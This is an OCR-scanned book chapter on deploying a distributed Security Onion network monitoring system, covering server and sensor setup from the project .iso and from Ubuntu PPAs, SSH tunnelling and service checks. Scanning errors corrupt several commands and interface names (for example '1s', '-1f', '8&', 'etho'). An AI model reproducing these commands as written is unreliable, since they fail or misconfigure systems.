B Accessories o Additional Drivers

g Gam # Bluetooth Manager

S Graphics ER Input Method Switcher
Internet A Keyboard Input Methods

¥ Mail Reader ¥/ Language Support

' Multimedia E’ Main Menu

W Office

# Other Onboard Settings
& system &F Settings Editor

» Web Browser

SAU

“* Ubuntu Software Center

7 Help
# About Xfce
& Logout

Figure 4-1: Selecting to view settings for Network Connections
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Highlight Wired connection 1, and then click Edit. Click the IPv4
Settings tab, and then change the Method to Manual. Enter values
appropriate for your server by clicking Add and then entering the
information required, as shown in Figure 4-2. (These values represent
choices appropriate for my sample network; be sure to use values that
match your environment.)

- Editing Wired connection 1 + X

Connection name: [Wired connection 1

[ Connect automatically

Method: |Manua| v|

Addresses

Address |Netmask |Gateway apadd |

T T T T e i e

192.168.2.120 24 192.168.2.1 |

DNSservers:  [172.16.2.1 |

Search domains: [laosecu rity.com| l

DHCP dientID: | |

"] Require IPv4 addressing for this connection to complete

| Routes... |

Available to all users l_QCE ‘ l_%gel

Figure 4-2: Configuring Wired connection 1 with
static IP addressing

When you're finished, click Save. The dialog will turn gray while the
system reconfigures networking.

Click Close to complete the process.

Reboot the system.

At this point, the server is running the correct operating system, with

updated components, and is reachable via a static management IP address.

Configuring Your SO Server

Now we can begin configuring the system as an SO server. To do so, follow
these steps:

1.

Click the Setup icon and enter your password to perform administra-
tive tasks. Select Yes, Continue! when prompted.

When asked if you want to configure interfaces, choose No, not right now.

When prompted, choose Advanced Setup.
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4. The next screen asks what sort of system you want to build. Select Server,
as shown in Figure 4-3, and then click OK.

= Security Onion Setup (svrdemiso) + X

If this is the first machine in a distributed deployment, choose Server.
This machine will only run Sguil, Squert, Snorby, and ELSA and will not monitor any network interfaces.

Ifthis is a sensor for a distributed deploy (you've already installed the Server), choose Sensor.
You will need to be able to SSH to the existing Server box with an account with sudo privileges.

Otherwise, choose Standalone to configure both Server and Sensor components on this box.

Sensor
Standalone

@cnee || ook

F

Figure 4-3: Choosing to build a server

5. Now choose between running the Snort or Suricata IDS engine. Select
the IDS engine you plan to run on your sensors, and then click OK.

6. When asked to choose an IDS ruleset, choose Emerging Threats GPL,
as shown in Figure 4-4. (The Emerging Threats ruleset is free and per-
fect for our purposes.)

¥ Security Onion Setup (svrdemiso) + X

Which IDS ruleset would you like to use?

Ruleset | Oinkcode required?

-EmergingThr'eats GPL "no oinkcode required

Emerging Threats PRO requires ETPRO oinkcode
Snort VRT ruleset and Emerging Threats NoGPL ruleset requires Snort VRT oinkcode
Snort VRT ruleset only and set a VRT policy requires Snort VRT oinkcode

| ©@cancel || ofoK

l

Figure 4-4: Choosing the Emerging Threats GPL ruleset

7. The setup wizard asks for a Sguil username, Snorby email address, and
password. Enter the responses appropriate for your environment. When
asked if you want to enable ELSA, choose Yes, enable ELSA!. The setup
wizard summarizes your choices and asks if you're ready to proceed, as
shown in Figure 4-5.
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= Security Onion Setup (svrdemiso) + X

We're about to do the following:
6 - Set the OS timezone to UTC.
- Delete any existing NSM data/configuration.
- Create a Sguil server named securityonion.
- Create a Sguil user named svrdemiso.
- Create a Snorby user named taosecurity@gmail.com.
- Run a single IDS process per interface.
-Run a single Bro process per interface.
- Download Emerging Threats GPL ruleset.
- Configure ELSA as both a Log Node and Web Node.

We're about to make changes to your system!

Would you like to continue?

| .eNo, do not make changes! | [ i‘l’es., proceed with the changes! J
4

Figure 4-5: Setup summary before proceeding with SO server changes

8. Click Yes, proceed with the changes!, and the setup wizard will com-
plete the SO server installation. The script should report that the setup
is complete.

9. To confirm that installation succeeded, visit the web page hosted on the
server, and then access a web-enabled NSM application, such as Snorby.

At this point, you have only an SO server active. It is not running any
tools that collect and interpret NSM data. The Snorby console will be empty
until you build an SO sensor, as described next.

Installing an SO Sensor Using the SO .iso Image

Chapter 4

Our SO server won’t do us much good without one or more sensors to col-

lect and interpret NSM data. In this section, we’ll build an SO sensor using
the SO .iso file. For hardware, choose the same sort of equipment you used
in the stand-alone scenario.

To build your sensor, boot the .iso image, choose Live, and wait until
you see the SO desktop. Begin the installation process by clicking the
Install Security Onion 12.04 icon, and then follow the configuration pro-
cess explained in “Installing SO to a Hard Drive” on page 62.

In summary, you will perform the following steps:

Validate space, connectivity, updates, and third-party software.
Choose to erase the disk to install SO.
Choose a username, computer name, and password.

Complete installation and reboot the system.

St oo

Update installed software using sudo apt-get update & sudo apt-get
dist-upgrade.
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After completing this process, the SO software should be installed on

the sensor, but nothing is configured for NSM duties. In the next section,
we will choose a static IP address within the SO setup wizard, since that is
part of a larger network configuration process required for SO sensors. We
are ready to turn the system into a live SO sensor, and tell it to cooperate
with the SO server we just created.

Configuring the SO Sensor

To configure the system as an SO sensor, follow these steps:

1.

Click the Setup icon and enter your password to perform administra-
tive tasks. Select Yes, Continue! when prompted.

When prompted, select eth0 for the management interface (or whatever
interface you choose for management), configure a static IP address,
and choose ethl for sniffing (or whatever interface (s) you want to use
to collect and interpret traffic).

Accept your selections by choosing Yes, make changes and reboot!.

When the system reboots, it will be ready to be configured as an SO

sensor. To configure the sensor, follow these steps:

1.

Click the Setup icon and enter your password to perform administra-
tive tasks. Select Yes, Continue! when prompted.

The setup script should notice that you've already configured network
interfaces, so choose Yes, skip network configuration!.

Select Sensor, as shown in Figure 4-6.

" Security Onion Setup (sendemiso) + X

If this is the first machine in a distributed deployment, choose Server.
This machine will only run Sguil, Squert, Snorby, and ELSA and will not monitor any network interfaces.

If this is a sensor for a distributed deployment (you've already installed the Server), choose Sensor.
You will need to be able to SSH to the existing Server box with an account with sudo privileges.

Otherwise, choose Standalone to configure both Server and Sensor components on this box.

Standalone

éCancel oK |

Figure 4-6: Choosing to build a sensor

As an SO sensor, this system will cooperate with our SO server. Accord-
ingly, the setup wizard should prompt you to enter the hostname or IP

address of the SO server, as shown in Figure 4-7. As you can see, I enter
192.168.2.129, which I statically assigned to the SO server earlier. Enter
the IP address for your SO server.
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¥ Security Onion Setup (sendemiso) + X

What is the hostname or IP address of the Sguil server that this sensor should connect to?

192.168.2.129) |

GCancel | fCIK

Figure 4-7: Providing the SO sensor setup wzard program with the IP address
of the SO server

The setup wizard will ask for a username for the SO sensor processes

to use to connect via OpenSSH. SO uses OpenSSH for communica-
tion between the server and one or more sensors. The username you
selected when building the SO server will suffice for demo purposes, but
in production environments, you should create a new user on the server
for each sensor that you expect to report. Separate users will limit your
system’s exposure if any single sensor is compromised. I enter svrdemiso for
the user account, as shown in Figure 4-8. Use a value appropriate for
your setup.

i Security Onion Setup (sendemiso) + X

Please enter a username that can 55H to the Sguil server and execute sudo.

[svrdemiso| |

QCancel | of OK

]

Figure 4-8: Configuring the username to connect to the SO server

The setup wizard asks for the interface(s) to be monitored, as in the
stand-alone setup. I choose ethl, and then I choose to enable ELSA and
automatically update the ELSA server (which helps the ELSA server on
the SO server know that a new node is checking in with data), as shown
in Figure 4-9.

> Security Onion Setup (sendemiso) + X
6 Would you like to automatically update the ELSA server?

This will restart Apache on the ELSA server and may disrupt any user sessions.

| QNO, do not upd.ate ELSA server. ] [ JYES, update ELSA server! ]

-

Figure 4-9: Telling the setup script to update the ELSA server

It’s time to commit these changes. The setup script summarizes the
results. If you're satisfied with the output, click Yes, proceed with the
changes!, as shown in Figure 4-10.
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> Security Onion Setup (sendemiso) + X

We're about to do the following:
@ - Set the OS timezone to UTC.
- Delete any existing NSM data/configuration.
- Monitor each of the following interfaces:
ethil
- Configure the sensors to report to 192.168.2.129.
-Run asingle IDS process per interface.
-Run asingle Bro process per interface.
- Configure ELSA as a Log Node.

We're about to make changes to your system!

Would you like to continue?

| @No, do not make changes! | I J’Yes, proceed with the changes! J

F

Figure 4-10: SO summary before proceeding with SO sensor
changes

Completing Setup

As noted earlier, distributed SO deployments rely on OpenSSH for commu-
nication. During setup, the OpenSSH client will likely report that it can’t
verify the authenticity of the SO server. It will probably show the ECDSA key
fingerprint of the SO server and ask if you want to continue connecting.

Log in to the SO server locally and run the following commands to
obtain a fingerprint of the ECDSA key. (Your key will differ from the output
in Listing 4-1.)

$ 1s /etc/ssh/*key*

/etc/ssh/ssh_host_dsa_key /etc/ssh/ssh_host_ecdsa_key.pub
/etc/ssh/ssh_host dsa key.pub /etc/ssh/ssh_host rsa key
/etc/ssh/ssh_host_ecdsa_key /etc/ssh/ssh_host_rsa_key.pub

$ ssh-keygen -1f /etc/ssh/ssh_host_ecdsa_key.pub

256 33:6C:38:9a:48:ce:fc:b2:c2:26:57:¢3:81:a7:9d:b9 root@svrdemiso (ECDSA)

Listing 4-1: Examining SSH keys

Verify that the key fingerprint you see matches the key on your SO
server, and then type yes and press ENTER, as shown in Figure 4-11.

W Terminal - + X

Figure 4-11: Validating the OpenSSH ECDSA key fingerprint

A few more configuration messages will pass by, and another termi-
nal will appear, prompting you to enter your password to log in to the SO
server. Once you've entered your password correctly, the setup wizard will
report that it is complete.
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Verifying that the Sensors Are Working

Now verify that the sensors are running with the sudo service nsm status
command. If you see output like that in Listing 4-2, everything is probably
working fine:

$ sudo service nsm status

Status: HIDS

* ossec_agent (sguil) [ OK ]
Status: Bro
Name Type Host Status Pid Peers Started
manager manager 192.168.2.130  running 2501 2 10 Feb 17:17:26
proxy proxy 192.168.2.130  running 2659 2 10 Feb 17:17:28
sendemiso-eth1-1 worker 192.168.2.130  running 3275 2 10 Feb 17:17:31

Status: sendemiso-eth1

*

I SR SR S R GRS

netsniff-ng (full packet data) [ OK ]
pcap_agent (sguil) [ oK ]
snort_agent (sguil) [ 0K ]
suricata (alert data) [ oK ]
barnyard2 (spooler, unified2 format) [ oK ]
prads (sessions/assets) [ OK ]
sancp_agent (sguil) [ oK ]
pads_agent (sguil) [ oK ]
argus [ OK ]
http_agent (sguil) [ oK ]

Listing 4-2: Checking NSM service status
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Verifying that the Autossh Tunnel Is Working

If you notice that one or more NSM components aren’t working, try running
the sudo service nsm restart command to stop and start each application. If
that doesn’t result in each component working as expected, you may have a
more serious problem. You might need to restart your setup, or consult the
online SO mailing list for assistance. You should also verify that the autossh
tunnel that connects the sensor to the server is operational. Use the follow-
ing command as shown in Listing 4-3.

$ ps aux | grep autoss[h]

root 9775 0.0 0.0 4308 324 ? Ss 17:01 0:00 /usr/lib/
autossh/autossh -M 0 -q -N -o ServerAlivelInterval 60 -o ServerAliveCountMax
3 -1 /root/.ssh/securityonion -L 3306:127.0.0.1:3306 -R 50000:localhost:50000
-R 50001:1ocalhost:9306 svrdemiso@192.168.2.129

Listing 4-3: Looking for autossh processes

You can get similar results with pgrep -1f autossh. If the output is blank, you
do not have an autossh tunnel established. Try rerunning the SO setup script.

You can run a test by visiting http://www.testmyids.com/. If you see results
in the Snorby application, your SO sensor is communicating events to your
SO server. Congratulations—you have built a distributed NSM system!
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Building an SO Server Using PPAs

NOTE

The previous installations used the SO .iso file provided by the SO project,
but that’s not the only installation option. You can also build SO function-
ality on a locally installed Ubuntu Linux-based operating system using

the SO project’s PPAs, available at https://launchpad.net/~securityonion/.
Some organizations prefer to avoid using Linux distributions built by other
teams. If your organization follows this model and uses its own Ubuntu
Linux-derived base installation, you can use SO PPAs to deploy SO on your
platforms.

The SO project builds stable, test, and development PPAs. You should
use stable in production environments. If you want to help keep SO mov-
ing forward, run the test PPA. The development PPA is best suited to SO
developers.

In the remainder of this chapter, we’ll build an entirely new server-plus-
sensor deployment solely for the purpose of demonstrating an alternative
setup option. Instead of using an .isoimage from the SO project, we’ll use
the 64-bit, Long Term Support (LTS) version of Ubuntu Server 12.04 as the
base operating system for an SO server and sensor.

You can download the .iso file for this distribution from the Ubuntu
project website at http://www.ubuntu.com/download/server/. When visiting
that page, you’ll see a Get Ubuntu 12.04 LTS option, which will be avail-
able through April 2017. I chose this distribution because the SO project
tests against the LTS and cannot guarantee support for other variants.
This is a popular option that your organization may use itself, thanks to
the extended availability of the release.

Building your own system using PPAs requires knowledge of Linux that exceeds that
required for using the SO .iso installation method. For example, you need to know
how to forward X sessions. (I show how to accomplish that task, and other Linux
steps, later in the chapter.) If you are not comfortable with this process, or don’t under-
stand what it means, ask a Linux-experienced friend or install SO from the .iso files
as previously described.

Installing Ubuntu Server as the SO Server Operating System

Begin the Ubuntu server installation process by booting the Ubuntu Server
LTS .isoimage on the hardware chosen to run the SO server. The installation
wizard will prompt you to make a number of choices. Make the following
selections, adjusted as appropriate for your environment.

Language: English
Install Ubuntu Server

Select a language: English

Ll

Select your location: United States
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10.

11.

12.

13.

14.

Configure the keyboard:

* Detect keyboard layout? No

e English (US)

¢ Keyboard layout: English (US)

Hostname: serverdemo

Set up users and passwords:

¢ Full name for the new user: serverdemo

e Username for your account: serverdemo

® Choose a password for the new user: <enter password>
* Reenter password to verify: <enter password>

* Encrypt your home directory? No

Configure the clock. Is this time zone correct? Yes
Partition disks:

® Partitioning method: Guided — use entire disk and set up LVM
® Select disk to partition: <choose your disk>

*  Write the changes to disks and configure LVM? Yes

¢ Amount of volume group to use for guided partitioning: <accept
default>, Continue

*  Write the changes to disks? Yes

Configure the package manager. HTTP proxy information (blank for
none): <blank>, Continue

Configure tasksel. How do you want to manage upgrades on this system?
No automatic updates.

Software selection. Choose software to install: <click spacebar on
OpenSSH server>, Continue

Install the GRUB boot loader on a hard disk. Install the GRUB boot
loader to the master boot record? Yes

Finish the installation. Continue

When installation is complete, the system will reboot. When you log in,

you should see the IP address assigned via DHCP, as well as messages about
the number of updates that can be applied, as shown in Figure 4-12.

In some cases, Ubuntu may not show you an IP address or other system

information. In these cases, the login script determined that the system is
under load, and it will report that condition. This is normal for systems that
start a significant number of input/output (I/O) sensitive operations after
booting.
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Welcome to Ubuntu
# Documentation: ht

tem information

th ABSOLUTELY MO HARRANTY, to the nt permitted by

Figure 4-12: Ubuntu server is installed.

Choosing a Static IP Address

We installed the operating system and allowed a dynamic IP address,
but now we want to transition from DHCP to static IP addressing. In this
example, we’ll edit a specific configuration file, which is one of the ways to
set a static IP address. (Earlier I showed you how to set a static IP address
using a GUI menu.) First open the /etc/network/interfaces file to edit it with
the vi editor like this (enter your password when prompted):

$ sudo vi /etc/network/interfaces

The file should contain entries like those in Listing 4-4.

# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto etho
iface etho inet dhcp

Listing 4-4: Default contents of /etc/network/interfaces
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Comment out the entries in the etho section with hashmarks (#) and
add entries like the ones shown in Listing 4-5 in bold to match your setup.
(Ask your administrators for the settings most compatible with your net-
work, if necessary.)

# The primary network interface

# auto etho

# iface etho inet dhcp

auto etho

iface etho inet static
address 192.168.2.128
netmask 255.255.255.0
network 192.168.2.0
broadcast 192.168.2.255
gateway 192.168.2.1
dns-search taosecurity.com
dns-nameservers 172.16.2.1

Listing 4-5: Edited contents of /etc/network/interfaces

Finally, restart the networking services to enable the static IP address
with the command shown in Listing 4-6.

$ sudo /etc/init.d/networking restart

* Running /etc/init.d/networking restart is deprecated because it may not
enable again some interfaces

* Reconfiguring network interfaces...

ssh stop/waiting

ssh start/running, process 16814 [ oK ]

Listing 4-6: Restarting network services to use a static IP address

Now reboot the system to kill the virtual dhclient process, which assigns
IP addresses via DHCP. After rebooting, your system should have a static IP
address.

To confirm that your static IP address is configured as expected, connect
via OpenSSH to the IP address of the server to continue with the next tasks.
From a different workstation, open a terminal and execute ssh username@server
Ip, where username is the username you configured, and server IP is the static
management IP address you applied to the server.

Updating the Software

Next, update the software running on your server. Run these commands:

$ sudo apt-get update && sudo apt-get dist-upgrade

When asked if you want to continue, type Y and press ENTER. The
server will download and install any updates. Once it’s finished, enter
sudo reboot to complete the process and reboot the server.
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Beginning MySQL and PPA Setup on the SO Server

After rebooting, log in. Now we’ll start configuring our system as an SO
server. First, issue the following command to tell MySQL not to prompt for
a root password during installation.

$ echo "debconf debconf/frontend select noninteractive" | sudo debconf-set-selections

Now install the python-software-properties package.

$ sudo apt-get -y install python-software-properties

Next, add the securityonion/stable PPA to the list of repositories recog-
nized by this Ubuntu server, as shown in Listing 4-7.

$ sudo add-apt-repository -y ppa:securityonion/stable

gpg: keyring " /tmp/tmpn0ilj5/secring.gpg' created

gpg: keyring ~/tmp/tmpn0ilj5/pubring.gpg' created

gpg: requesting key 23F386C7 from hkp server keyserver.ubuntu.com

gpg: /tmp/tmpn0ilj5/trustdb.gpg: trustdb created

gpg: key 23F386C7: public key "Launchpad PPA for Security Onion" imported
gpg: Total number processed: 1

gpg: imported: 1 (RSA: 1)

0K

Listing 4-7: Adding the securityonion/stable PPA to the list of repositories

Update the package listing with the following command.

$ sudo apt-get update

Now install the securityonion-server package.

$ sudo apt-get install securityonion-server

Notice in Listing 4-8 that in addition to many dependencies, the system
plans to install a lot of SO-specific packages. This is normal during software
installation.

-- snip --
securityonion-capme securityonion-daq securityonion-et-rules
securityonion-limits securityonion-login-screen
securityonion-nsmnow-admin-scripts securityonion-ossec-rules
securityonion-passenger securityonion-passenger-conf
securityonion-pfring-daq securityonion-pfring-1d securityonion-pfring-module
securityonion-pfring-userland securityonion-pulledpork
securityonion-rule-update securityonion-server securityonion-setup
securityonion-sguil-agent-ossec securityonion-sguil-db-purge
securityonion-sguil-server securityonion-sguild-add-user
securityonion-snorby securityonion-snort securityonion-sostat
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securityonion-squert securityonion-squert-cron securityonion-web-page
securityonion-wkhtmltopdf shared-mime-info sound-theme-freedesktop sox
sqlite3 ssl-cert tcl-tls tcl8.5 tcllib tclx8.4 tcpflow tcpflow-no-tags
tshark ttf-dejavu-core ttf-liberation wireshark-common x11-common xplico
zenity zenity-common

0 upgraded, 288 newly installed, 0 to remove and 0 not upgraded.

Need to get 287 MB of archives.

After this operation, 643 MB of additional disk space will be used.

Do you want to continue [Y/n]?

Listing 4-8: Installing the securityonion-server package

Type Y and press ENTER to continue. You will probably need to wait sev-
eral minutes while the server downloads and installs the required software.
Once it’s finished, install the securityonion-elsa and securityonion-elsa-extras

packages.

$ sudo apt-get install securityonion-elsa securityonion-elsa-extras

Configuring Your SO Server via PPA

Now set up this server using sosetup. Connect via SSH from a Linux system

to take advantage of X forwarding. Here, I'm connecting from a separate
Linux system named ubuntu. Notice the use of the capital -X switch to enable
X forwarding. X is a protocol for displaying graphical user interfaces. For-
warding means sending a GUI window someplace other than the computer
on which it is run. The -X switch tells the remote server to display client win-
dows through the SSH connection so that they appear on the local desktop,
not the remote system. This allows you to interact with those client windows
and configure software as necessary. Listing 4-9 explains the details.

richard@ubuntu:~$ ssh -X serverdemo@192.168.2.128

The authenticity of host '192.168.2.128 (192.168.2.128)' can't be established.
ECDSA key fingerprint is 7f:a5:75:69:66:07:d9:1a:90:e5:42:1a:91:5a:ab:65.

Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added '192.168.2.128"' (ECDSA) to the list of known hosts.
serverdemo@192.168.2.128"s password: *¥¥¥¥*

Welcome to Ubuntu 12.04.2 LTS (GNU/Linux 3.2.0-37-generic x86_64)

* Documentation: https://help.ubuntu.com/

System information as of Sun Feb 10 10:02:59 EST 2014

System load: 0.0 Processes: 94
Usage of /: 7.2% of 35.20GB  Users logged in: 1
Memory usage: 7% IP address for etho: 192.168.2.128

Swap usage: 0%

Graph this data and manage this system at https://landscape.canonical.com/
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Last login: Sun Feb 10 09:59:57 2014

/usr/bin/xauth: file /home/serverdemo/.Xauthority does not exist
serverdemo@serverdemo:~$ sudo sosetup

[sudo] password for serverdemo: ¥¥iisksk

Listing 4-9: Connecting to the SO server and configuring X forwarding

When you run sudo sosetup, you will see a screen appear on your local
workstation, like the one shown in Figure 4-13.

Security Onion Setup (serverdemo) (on serverdemo)

Welcome to Security Onion Setup!

This program will allow you to configure Security Onion on serverdemo.
Would you like to continue?

No, Quit. | Yes, Continue! :

Figure 4-13: Preparing to run SO Setup

Now configure this SO server in the same manner as when configur-
ing the SO server built on the .iso file earlier in this chapter, in “Configuring
Your SO Server” on page 78. Once you've made your choices, the setup
wizard will summarize them and ask whether you want to proceed with
the changes, as shown in Figure 4-14.

Security Onion Setup (serverdemo) (on serverdemo)

We're about to do the following:

- Set the OS timezone to UTC.

- Delete any existing NSM data/configuration.

- Create a Sqguil server named securityonion.

- Create a Sguil user named serverdemo.

- Create a Snorby user named taosecurity@gmail.com.
- Run a single IDS process per interface.

- Run a single Bro process per interface.

- Download Emerging Threats GPL ruleset.

- Configure ELSA as both a Log Node and Web Node.

We're about to make changes to your system!

Would you like to continue?

No, do not make changes! Yes, proceed with the changes!

|

Figure 4-14: SO summary before proceeding with SO server changes

After you click Yes, proceed with the changes!, the setup wizard will
complete installation.

As discussed in “Configuring Your SO Server” on page 78, to confirm
the installation was successful, visit the web page hosted on the server and
access a web-enabled NSM application like Snorby.

With your server active, it’s time to build a sensor.
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With the server running, we can turn to building an SO sensor using PPAs.
This sensor will cooperate with the server we just built. We’ll continue the
theme of using an Ubuntu server distribution as our operating system, and
add SO components using PPAs.

Installing Ubuntu Server as the SO Sensor Operating System

Begin the Ubuntu server installation process by booting the Ubuntu Server
LTS .iso file on the hardware chosen to run the SO sensor. The installation
wizard will prompt you to make a number of choices. Make the following
selections, adjusted as appropriate for your environment:

Language: English
Install Ubuntu Server
Select a language: English

Select your location: United States

Uk 0 N

Configure the keyboard:

® Detect keyboard layout? No

¢ English (US)

e Keyboard layout: English (US)

6. Configure the network. Hostname: sensordemo

When prompted to choose a primary network interface (as in Fig-
ure 4-15), you must tell the setup wizard which NIC to use for management.
In Figure 4-15, I select etho for management as the primary network inter-
face. The setup wizard should automatically look for an IP address from a
DHCP server for etho. (We’ll set a static IP when we run the SO setup script.)

[!!] Configure the netwark |

Your system has multiple network interfaces. Choose the one to use as the primary network
interface during the installation. If possible, the first connected network interface
found has been selected.

Frimary network interface:

eth0: Intel Corporation 82545EM G it Ethernet Controller (Copper)
ethl: Intel Corporation SEM Gigabhit Ethernet Controller (Copper)

<Go Back:

Figure 4-15: Selecting the primary network interface
Now follow these steps to continue installing the operating system.

I've entered values like usernames and passwords for demonstration only.
Choose values that meet your needs in production.
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1. Setup users and passwords:
e  Full name for the new user: sensordemo
e Username for your account: sensordemo
® Choose a password for the new user: <enter password>
* Reenter password to verify: <enter password>
*  Encrypt your home directory? No
Configure the clock. Is this time zone correct? Yes
Partition disks:
e Partitioning method: Guided — use entire disk and set up LVM
e Select disk to partition: <choose your disk>
e  Write the changes to disks and configure LVM? Yes

¢ Amount of volume group to use for guided partitioning: <accept
default>, Continue

e  Write the changes to disks? Yes

4. Configure the package manager. HTTP proxy information (blank for
none): <blank>, Continue

5.  Configure tasksel. How do you want to manage upgrades on this sys-
tem? No automatic updates.

6. Software select ion. Choose software to install: <click spacebar on
OpenSSH server>, Continue

7. Install the GRUB boot loader on a hard disk. Install the GRUB boot
loader to the master boot record? Yes

8. Finish the installation. Continue

When the installation is complete, the system will reboot.

Upon log in, you may see the IP address assigned via DHCP, along with
various messages. Note the IP address if it’s displayed. If the system is under
load, you may not see the system information screen that reports an IP
address. To get the IP address of the management NIC, run ifconfig etho
at the command prompt, as shown in Figure 4-16.

em informatlion di led due to load hi r than 1.0

in the

nt permitted by

Figure 4-16: Running ifconfig etho to learn the management IP address
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Now it’s time to update the sensor software. Connect to the server with
OpenSSH and enter this command:

$ sudo apt-get update 8& sudo apt-get dist-upgrade

Type Y to continue when prompted, and then press ENTER. The sensor
should download and install updates. When it’s finished, enter the sudo
reboot command to restart the server and complete the process.

Configuring the System as a Sensor

Our next task is to configure the SO sensor. First, enter the following com-
mand to tell MySQL not to prompt for a root password during installation.

$ echo "debconf debconf/frontend select noninteractive" | sudo debconf-set-selections

Now install the python-software-properties package.

$ sudo apt-get -y install python-software-properties

Next, add the securityonion/stable PPA to the list of repositories recog-
nized by this Ubuntu system, as shown in Listing 4-10.

$ sudo add-apt-repository -y ppa:securityonion/stable

gpg: keyring " /tmp/tmpBByK4H/secring.gpg' created

gpg: keyring °/tmp/tmpBByK4H/pubring.gpg' created

gpg: requesting key 23F386C7 from hkp server keyserver.ubuntu.com

gpg: /tmp/tmpBByK4H/trustdb.gpg: trustdb created

gpg: key 23F386C7: public key "Launchpad PPA for Security Onion" imported
gpg: Total number processed: 1

gpg: imported: 1 (RSA: 1)

0K

Listing 4-10: Adding the securityonion/stable PPA to the list of repositories

Update the package listing with the following command.

$ sudo apt-get update

Install the following packages.

$ sudo apt-get install securityonion-sensor securityonion-elsa securityonion-elsa-extras

When asked whether you want to continue, answer Y and press ENTER.
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Running the Setup Wizard

In order to run the setup wizard we need to use OpenSSH and X forward-
ing. Do the following, but use the username and IP address appropriate for
your environment. In Listing 4-11, I chose sensordemo as the username, and
the IP address assigned via DHCP was 192.168.2.147.

richard@ubuntu:~$ ssh -X sensordemo@192.168.2.147

The authenticity of host '192.168.2.147 (192.168.2.147)' can't be established.
ECDSA key fingerprint is a5:a9:08:16:b5:d2:3c:ce:59:17:08:91:a0:04:0b:47.

Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added '192.168.2.147' (ECDSA) to the list of known hosts.
sensordemo@192.168.2.147"'s password: ¥¥¥¥iik

Welcome to Ubuntu 12.04.2 LTS (GNU/Linux 3.2.0-37-generic x86_64)

* Documentation: https://help.ubuntu.com/

System information as of Sun Feb 10 13:06:46 EST 2013

System load: 0.11 Processes: 82
Usage of /: 5.3% of 35.20GB  Users logged in: 1
Memory usage: 1% IP address for etho: 192.168.2.147

Swap usage: 0%
Graph this data and manage this system at https://landscape.canonical.com/

Last login: Sun Feb 10 13:03:59 2013

/usr/bin/xauth: file /home/sensordemo/.Xauthority does not exist
sensordemo@sensordemo:~$ sudo sosetup

[sudo] password for sensordemo: ¥k

Listing 4-11: Connecting to the SO sensor and configuring X forwarding

When you run this command, you will see a screen like the one shown
in Figure 4-17. You will need to configure network interfaces because this
platform is a sensor.

Security Onion Setup (sensordemo) (on sensordemo)

Would you like to configure /etc/networkfinterfaces now?

This is HIGHLY recommended as it will automatically optimize your network interfaces.
This includes disabling any NIC offload features which may interfere with traffic analysis.
For more information, please see:
http://securityonion.blogspot.com/2011/10/when-is-full-packet-capture-not-full.html

If you choose NO, you should manually configure your management and monitored interfaces
per the instructions on the Security Onion Wiki located at:
http://code.google.com/p/security-onionjwiki/Network Configuration

No, not right now. ‘Yes, configure fetc/network/interfaces!

Figure 4-17: Prompt to configure network interfaces
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Remember to use the IP address, username, and password of the SO
server from the PPAs. The setup wizard will summarize your configuration
choices and ask whether you wish to proceed with the changes, as shown in
Figure 4-18.

Security Onion Setup (sensordemo) (on sensordemo)

We're about to do the following:

- Backup existing network configuration to /etc/network/interfaces.bak

- Configure the management interface ethO as follows:
Set static IP address of 192.168.2.131
Set the gateway IP address to 192.168.2.1
Set the network mask to 255.255.255.0
Set the DNS server(s) to 172.16.2.1
Set the DNS domain to taosecurity.com

- Configure the following interface(s) for sniffing:

ethl
- REBOOT

After rebooting, you'll need to run Setup again to complete the Setup process.
We're about to make changes to your system!

Would you like to continue?

No, do not make changes! Yes, make changes and reboot!

|

Figure 4-18: SO summary before proceeding with changes to the network interface

After the system reboots, connect to the SO sensor again via
OpenSSH and enable X forwarding. Rerun the setup wizard, and then
choose Advanced Setup » Sensor. Enter the IP or hostname of the SO
server, followed by the username that can connect via OpenSSH and run
sudo. Choose the appropriate NIC to monitor, enable ELSA, update the
ELSA server, and then review the summarization of changes, which will
look similar to Figure 4-19.

Security Onion Setup (sensordemo) (on sensordemo)

We're about to do the following:

- Set the OS timezone to UTC.

- Delete any existing NSM data/configuration.

- Monitor each of the following interfaces:

ethl

- Configure the sensors to report to 192.168.2.128.
- Run a single IDS process per interface.

- Run a single Bro process per interface.

- Configure ELSA as a Log Node.

We're about to make changes to your system!

Would you like to continue?

No, do not make changes! Yes, proceed with the changes! |

|

Figure 4-19: SO summary before proceeding with sensor changes
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You will be prompted to continue connecting via OpenSSH when the
authenticity of the SO server’s ECDSA key cannot be verified. You will also
need to log in to the SO server, and then enter the sudo password. Once
you've finished, the setup wizard will report that it is complete. After the
GUI disappears, run the status script to see if the NSM applications are
running, as shown in Listing 4-12.

$ sudo service nsm status
Status: HIDS

* ossec_agent (sguil) [ ok ]
Status: Bro
Name Type Host Status Pid Peers Started
manager manager 192.168.2.131 running 3173 2 10 Feb 18:18:27
proxy proxy 192.168.2.131 running 3228 2 10 Feb 18:18:29
sensordemo-eth1-1 worker 192.168.2.131 running 3275 2 10 Feb 18:18:32
Status: sensordemo-ethi

* netsniff-ng (full packet data) [ ok ]

* pcap_agent (sguil) [ oK ]

* snort_agent (sguil) [ ok ]

* suricata (alert data) [ ok ]

* barnyard2 (spooler, unified2 format) [ oK ]

* prads (sessions/assets) [ oK ]

* sancp_agent (sguil) [ oK ]

* pads_agent (sguil) [ oK ]

* argus [ OK ]

* http_agent (sguil) [ ok ]

Listing 4-12: Checking NSM service status

Also check for the establishment of the autossh tunnel as shown in
Listing 4-13.

$ ps aux | grep autoss[h]

root 3046 0.0 0.0 4308 320 ? Ss  18:18 0:00 /usr/lib/
autossh/autossh -M 0 -q -N -o ServerAliveInterval 60 -o ServerAliveCountMax
3 -i /root/.ssh/securityonion -L 3306:127.0.0.1:3306 -R 50000:localhost:50000
-R 50001:1ocalhost:9306 serverdemo@192.168.2.128

Listing 4-13: Looking for autossh processes

These results (with 0K in every field) are all good signs. If you get differ-
ent results, try rerunning the setup wizard.

To verify that everything is working as expected, access the web server
running on your new SO server, and then run Snorby and look for events
captured by the Suricata IDS engine. If you see events, congratulations—
you’ve built a distributed NSM system using Ubuntu Linux PPAs!
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Conclusion

In this chapter, you took a step beyond the normal stand-alone SO model
and entered the world of distributed NSM operations. We looked at two
possible ways to deploy server-plus-sensor systems:

e Using the .iso images provided by the SO project to build an SO server,
and then using the same .iso file to build an SO sensor.

e Using a standard .iso image from the Ubuntu Server distribution to
replace the SO project .iso file. We used SO project PPAs to build an
